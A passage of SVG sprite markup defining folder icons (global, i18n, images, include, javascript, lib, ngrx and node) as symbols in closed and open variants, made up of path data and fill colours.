1-4.26-4.826c0-.377.049-.742.128-1.089l2.915 2.915v.608a1.217 1.217 0 0 0 1.217 1.217m.608-9.735a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.085-6.085 6.085 6.085 0 0 0-6.085-6.084z" fill="#c5cae9" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-global-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#5c6bc0"/><path d="M21.133 18.585a1.22 1.22 0 0 0-1.156-.846h-.609v-1.825a.608.608 0 0 0-.608-.609h-3.65v-1.217h1.216a.608.608 0 0 0 .609-.608v-1.217h1.217a1.217 1.217 0 0 0 1.216-1.217v-.25a4.858 4.858 0 0 1 1.765 7.79m-4.198 1.545a4.86 4.86 0 0 1-4.26-4.826c0-.377.049-.742.128-1.089l2.915 2.915v.608a1.217 1.217 0 0 0 1.216 1.217m.609-9.735a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.085-6.085 6.085 6.085 0 0 0-6.085-6.084z" fill="#c5cae9" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-i18n" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#5c6bc0" fill-rule="nonzero"/><path d="M17.293 17.786l-1.53-1.512.018-.018a10.555 10.555 0 0 0 2.235-3.934h1.765v-1.205h-4.217V9.912h-1.205v1.205h-4.217v1.205h6.73a9.5 9.5 0 0 1-1.91 3.223 9.424 9.424 0 0 1-1.392-2.018h-1.205c.44.982 1.042 1.91 1.795 2.747l-3.067 3.024.856.856 3.012-3.013 1.874 1.874.458-1.229m3.392-3.054H19.48l-2.711 7.23h1.205l.674-1.808h2.862l.68 1.807h1.206l-2.711-7.23m-1.579 4.218l.976-2.609.976 2.609z" fill="#c5cae9" stroke-width=".602"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-i18n-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#5c6bc0"/><path d="M17.293 17.786l-1.53-1.512.018-.018a10.555 10.555 0 0 0 2.235-3.934h1.765v-1.205h-4.217V9.912h-1.205v1.205h-4.217v1.205h6.73a9.5 9.5 0 0 1-1.91 3.223 9.424 9.424 0 0 1-1.392-2.018h-1.205c.44.982 1.042 1.91 1.795 2.747l-3.067 3.024.856.856 3.012-3.013 1.874 1.874.458-1.229m3.392-3.054H19.48l-2.711 7.23h1.205l.674-1.808h2.862l.68 1.807h1.206l-2.711-7.23m-1.579 4.218l.976-2.609.976 2.609z" fill="#c5cae9" stroke-width=".602"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-images" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#009688" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m0 12.15h8.1v-5.4l-2.7 2.7-1.35-1.35-4.05 4.05m1.35-7.425c-.74 0-1.35.61-1.35 1.35s.61 1.35 1.35 1.35 1.35-.61 1.35-1.35-.61-1.35-1.35-1.35z" fill-rule="nonzero" fill="#b2dfdb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-images-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#009688" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m0 12.15h8.1v-5.4l-2.7 2.7-1.35-1.35-4.05 4.05m1.35-7.425c-.74 0-1.35.61-1.35 1.35s.61 1.35 1.35 1.35 1.35-.61 1.35-1.35-.61-1.35-1.35-1.35z" fill-rule="nonzero" fill="#b2dfdb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-include" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><path d="M20.788 15.981h-2.434v2.434h-1.217V15.98h-2.434v-1.217h2.434V12.33h1.217v2.434h2.434m-3.042-5.476a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.084-6.085 6.085 6.085 0 0 0-6.084-6.084z" fill="#b3e5fc" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-include-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><path d="M20.788 15.981h-2.434v2.434h-1.217V15.98h-2.434v-1.217h2.434V12.33h1.217v2.434h2.434m-3.042-5.476a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.084-6.085 6.085 6.085 0 0 0-6.084-6.084z" fill="#b3e5fc" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-javascript" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ffca28" fill-rule="nonzero"/><path d="M17.935 18.374a2.18 2.18 0 0 0 1.972 1.213c.829 0 1.354-.415 1.354-.987 0-.682-.542-.927-1.452-1.324l-.502-.216c-1.435-.613-2.404-1.378-2.404-3.005 0-1.5 1.167-2.638 2.917-2.638a2.957 2.957 0 0 1 2.842 1.599l-1.552.999a1.362 1.362 0 0 0-1.29-.858.873.873 0 0 0-.957.858c0 .583.374.84 1.226 1.213l.502.216c1.697.733 2.654 1.47 2.654 3.139 0 1.798-1.411 2.783-3.308 2.783a3.839 3.839 0 0 1-3.618-2.046zm-7.048.175c.315.583.583 1.027 1.283 1.027s1.066-.256 1.066-1.255v-6.774h1.998v6.804c0 2.064-1.214 3.01-2.982 3.01a3.104 3.104 0 0 1-2.993-1.826z" fill-rule="nonzero" fill="#ffecb3"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-javascript-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ffca28"/><path d="M17.935 18.374a2.18 2.18 0 0 0 1.972 1.213c.829 0 1.354-.415 1.354-.987 0-.682-.542-.927-1.452-1.324l-.502-.216c-1.435-.613-2.404-1.378-2.404-3.005 0-1.5 1.167-2.638 2.917-2.638a2.957 2.957 0 0 1 2.842 1.599l-1.552.999a1.362 1.362 0 0 0-1.29-.858.873.873 0 0 0-.957.858c0 .583.374.84 1.226 1.213l.502.216c1.697.733 2.654 1.47 2.654 3.139 0 1.798-1.412 2.783-3.308 2.783a3.839 3.839 0 0 1-3.618-2.046zm-7.048.175c.315.583.583 1.027 1.283 1.027s1.066-.256 1.066-1.255v-6.774h1.998v6.804c0 2.064-1.214 3.01-2.982 3.01a3.104 3.104 0 0 1-2.993-1.826z" fill="#ffecb3"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-lib" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#c0ca33" fill-rule="nonzero"/><path d="M17.39 12.544a2.05 2.05 0 0 0 2.05-2.05 2.05 2.05 0 0 0-2.05-2.052 2.05 2.05 0 0 0-2.05 2.051 2.05 2.05 0 0 0 2.05 2.051m0 2.42a8.992 8.992 0 0 0-6.152-2.42v7.52c2.392 0 4.539.923 6.152 2.42a8.992 8.992 0 0 1 6.152-2.42v-7.52c-2.392 0-4.539.923-6.152 2.42z" fill="#f0f4c3" stroke-width=".684"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-lib-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#c0ca33"/><path d="M17.391 12.543a2.05 2.05 0 0 0 2.05-2.05 2.05 2.05 0 0 0-2.05-2.052 2.05 2.05 0 0 0-2.05 2.051 2.05 2.05 0 0 0 2.05 2.051m0 2.42a8.992 8.992 0 0 0-6.152-2.42v7.52c2.392 0 4.539.923 6.152 2.42a8.992 8.992 0 0 1 6.152-2.42v-7.52c-2.392 0-4.539.923-6.152 2.42z" fill="#f0f4c3" stroke-width=".684"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-actions" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ab47bc" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#e1bee7" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-actions-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ab47bc"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#e1bee7" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-effects" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00bcd4" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#b2ebf2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-effects-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00bcd4"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#b2ebf2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef5350" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#ffcdd2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-reducer-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef5350"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#ffcdd2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-state" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#dcedc8" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-state-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#dcedc8" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-node" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.25 8.403c-.188 0-.382.048-.542.139l-5.166 2.986a1.096 1.096 0 0 0-.542.944v5.959c0 .388.208.75.542.944l1.354.778c.66.32.882.326 1.187.326.973 0 1.535-.59 1.535-1.618V12.98a.154.154 0 0 0-.153-.153h-.646c-.09 0-.16.07-.16.153v5.882c0 .458-.472.91-1.228.528l-1.424-.813a.181.181 0 0 1-.076-.145v-5.959c0-.062.027-.118.076-.146l5.167-2.979a.15.15 0 0 1 .152 0l5.167 2.98a.164.164 0 0 1 .076.145v5.959a.181.181 0 0 1-.076.145l-5.167 2.98c-.041.027-.11.027-.16 0l-1.305-.792c-.055-.021-.111-.028-.146-.007-.368.208-.437.25-.778.354-.083.028-.215.076.05.222l1.721 1.021c.167.097.348.146.542.146s.375-.049.542-.146l5.166-2.979c.334-.194.542-.556.542-.944v-5.959c0-.389-.208-.75-.542-.944l-5.166-2.986a1.103 1.103 0 0 0-.542-.14m1.389 4.272c-1.472 0-2.354.618-2.354 1.66 0 1.117.875 1.444 2.291 1.583 1.688.166 1.82.416 1.82.75 0 .576-.465.82-1.549.82-1.375 0-1.666-.341-1.77-1.022a.157.157 0 0 0-.153-.125h-.667c-.083 0-.146.063-.146.153 0 .861.472 1.903 2.736 1.903 1.632 0 2.57-.646 2.57-1.771 0-1.118-.75-1.41-2.34-1.625-1.605-.208-1.765-.32-1.765-.694 0-.313.14-.73 1.327-.73 1.042 0 1.451.23 1.611.945.014.07.076.118.146.118h.673a.134.134 0 0 0 .105-.049c.027-.028.048-.07.034-.11-.097-1.237-.916-1.806-2.57-1.806z" fill-rule="nonzero" fill="#f1f8e9"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-node-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.25 8.403c-.188 0-.382.048-.542.139l-5.166 2.986a1.096 1.096 0 0 0-.542.944v5.959c0 .388.208.75.542.944l1.354.778c.66.32.882.326 1.187.326.973 0 1.535-.59 1.535-1.618V12.98a.154.154 0 0 0-.153-.153h-.646c-.09 0-.16.07-.16.153v5.882c0 .458-.472.91-1.228.528l-1.424-.813a.181.181 0 0 1-.076-.145v-5.959c0-.062.027-.118.076-.146l5.167-2.979a.15.15 0 0 1 .152 0l5.167 2.98a.164.164 0 0 1 .076.145v5.959a.181.181 0 0 1-.076.145l-5.167 2.98c-.041.027-.11.027-.16 0l-1.305-.792c-.055-.021-.111-.028-.146-.007-.368.208-.437.25-.778.354-.083.028-.215.076.05.222l1.721 1.021c.167.097.348.146.542.146s.375-.049.542-.146l5.166-2.979c.334-.194.542-.556.542-.944v-5.959c0-.389-.208-.75-.542-.944l-5.166-2.986a1.103 1.103 0 0 0-.542-.14m1.389 4.272c-1.472 0-2.354.618-2.354 1.66 0 1.117.875 1.444 2.291 